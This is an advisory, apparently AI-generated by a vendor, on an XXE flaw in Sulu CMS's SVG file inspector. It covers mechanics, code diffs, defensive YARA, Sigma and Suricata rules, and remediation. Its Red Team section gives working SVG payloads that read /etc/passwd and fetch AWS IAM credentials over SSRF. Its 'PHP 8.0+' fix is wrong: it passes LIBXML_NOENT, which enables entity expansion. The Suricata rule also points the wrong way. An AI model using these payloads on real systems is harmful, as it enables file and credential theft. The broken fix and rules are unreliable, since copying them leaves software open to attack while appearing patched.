CVE-2025-47778
Executive Summary
CVE-2025-47778 is an XML External Entity (XXE) injection vulnerability in the Sulu open-source PHP content management system, which is built on the Symfony framework. The flaw resides in the SVG file inspection component, specifically within SvgFileInspector.php. An authenticated admin user can upload a maliciously crafted SVG file that, when processed by the XML DOM library, can load external entities. This allows an attacker to perform server-side request forgery (SSRF), read arbitrary files on the server, or conduct denial-of-service attacks via entity expansion. The vulnerability affects versions starting from 2.5.21, 2.6.5, and 3.0.0-alpha1. Patches are available in versions 2.6.9, 2.5.25, and 3.0.0-alpha3. A manual workaround involves patching the SvgFileInspector.php file to disable external entity loading.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the Sulu CMS, which is distributed via Composer (PHP). The affected component is part of the core sulu/sulu package. Users should verify their composer.json for the exact version and update to the patched release. The vulnerability does not directly affect the supply chain of dependencies, but the exploitation of XXE can lead to exposure of sensitive configuration files (e.g., database credentials) which could compromise the entire application stack.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely via HTTP upload.
- Attack Complexity (AC): Low – No special conditions are required; the attacker simply uploads a crafted SVG.
- Privileges Required (PR): High – An admin-level account is required to upload media files.
- User Interaction (UI): None – The attack does not require any action from another user.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – An attacker can read arbitrary files from the server (e.g.,
/etc/passwd, application secrets). - Integrity (I): None – No file modification is possible via this vulnerability.
- Availability (A): None – While entity expansion could cause DoS, the primary impact is data disclosure.
Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the potential for high-impact data exfiltration makes this a serious issue for multi-tenant or shared hosting environments.
Deep Dive & Mechanics
The vulnerability is located in the SvgFileInspector class, which is responsible for parsing SVG files to extract metadata (e.g., dimensions, title). The class uses PHP's DOMDocument to parse the uploaded SVG. By default, DOMDocument does not disable external entity loading, allowing an attacker to define an XML entity that references an external resource.
Attack Flow:
- An admin user logs into the Sulu backend.
- The attacker uploads a malicious SVG file containing an XXE payload.
- The
SvgFileInspector::getMetadata()method loads the SVG usingDOMDocument::loadXML()orDOMDocument::load(). - The XML parser processes the external entity, which can:
- Read local files (e.g.,
file:///etc/passwd). - Perform SSRF to internal services (e.g.,
http://169.254.169.254/latest/meta-data/on AWS). - Cause a denial of service via the "billion laughs" attack (entity expansion).
- Read local files (e.g.,
Root Cause: The libxml_disable_entity_loader() function is not called before parsing, or the LIBXML_NOENT flag is not set to false. In PHP 8.0+, libxml_disable_entity_loader() is deprecated, and the recommended approach is to use LIBXML_NOENT with false or to set LIBXML_NONET.
Vulnerable vs. Patched Code
Vulnerable Code (SvgFileInspector.php):
<?php
// Vulnerable version
public function getMetadata(string $filePath): array
{
$dom = new \DOMDocument();
$dom->load($filePath);
// ... process SVG elements
}
Patched Code (SvgFileInspector.php):
<?php
// Patched version
public function getMetadata(string $filePath): array
{
$dom = new \DOMDocument();
// Disable external entity loading
$oldValue = libxml_disable_entity_loader(true);
$dom->load($filePath);
libxml_disable_entity_loader($oldValue);
// ... process SVG elements
}
Explanation: The patched code wraps the load() call with libxml_disable_entity_loader(true) to prevent external entity resolution. For PHP 8.0+, the recommended approach is to use LIBXML_NOENT flag set to false:
$dom->load($filePath, LIBXML_NOENT | LIBXML_NONET);
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Admin credentials for Sulu CMS.
- Access to the media upload functionality.
Malicious SVG Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>
Steps:
- Log in to Sulu admin panel.
- Navigate to Media > Add new media.
- Upload the malicious SVG file.
- The server will parse the SVG, and the entity
&xxe;will be replaced with the contents of/etc/passwd. - The extracted data may appear in error messages, logs, or the metadata output (e.g., SVG title).
Advanced Payload (SSRF to internal service):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>
Blue Team (Defense & Detection)
Detection:
- Monitor for SVG file uploads by admin users.
- Look for XML parsing errors in application logs.
- Use WAF rules to block XXE payloads in file uploads.
Prevention:
- Apply the patch immediately.
- If patching is not possible, manually edit
SvgFileInspector.phpto disable external entities. - Restrict file uploads to only trusted users.
- Use a dedicated media processing service that sanitizes SVG files.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hashes depend on payload)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(empty SVG)
- Network Indicators:
- Outbound connections to unexpected internal IPs (e.g., 169.254.169.254, 10.x.x.x).
- DNS queries for internal hostnames.
- Log Entries:
DOMDocument::load(): I/O warning : failed to load external entityin PHP error logs.- Unusual file paths in error messages (e.g.,
/etc/passwd).
- File System:
- SVG files containing
<!ENTITYorSYSTEMdeclarations.
- SVG files containing
Detection Engineering
YARA Rule
rule CVE_2025_47778_SVG_XXE {
meta:
description = "Detects SVG files with XXE payloads targeting CVE-2025-47778"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47778"
strings:
$xxe1 = /<!ENTITY\s+\w+\s+SYSTEM\s+["']file:\/\// nocase
$xxe2 = /<!ENTITY\s+\w+\s+SYSTEM\s+["']http:\/\// nocase
$xxe3 = /<!ENTITY\s+\w+\s+SYSTEM\s+["']https:\/\// nocase
$svg = "<svg"
condition:
$svg and ($xxe1 or $xxe2 or $xxe3)
}
Sigma Rule
title: CVE-2025-47778 - SVG XXE Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload SVG files with XXE payloads to Sulu CMS
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-query|contains: "/admin/api/media"
sc-status: 200
condition: selection
falsepositives:
- Legitimate SVG uploads by trusted admins
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47778 - SVG XXE Upload to Sulu"; flow:to_server,established; content:"POST"; http_method; content:"/admin/api/media"; http_uri; content:"<!ENTITY"; http_client_body; pcre:"/<\!ENTITY\s+\w+\s+SYSTEM\s+[\x22\x27](file|http|https):\/\//i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Sulu to version 2.6.9, 2.5.25, or 3.0.0-alpha3.
- Manual Workaround: Edit
src/Sulu/Bundle/MediaBundle/FileInspector/SvgFileInspector.phpand addlibxml_disable_entity_loader(true);before theload()call. - Restrict Uploads: Temporarily disable SVG uploads for non-essential admin users.
Long-Term Measures:
- Implement a file upload validation layer that strips XML entities from SVG files.
- Use a dedicated SVG sanitizer (e.g.,
svg-sanitizerlibrary). - Regularly audit admin user accounts and permissions.
- Enable logging of all file uploads and monitor for anomalies.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.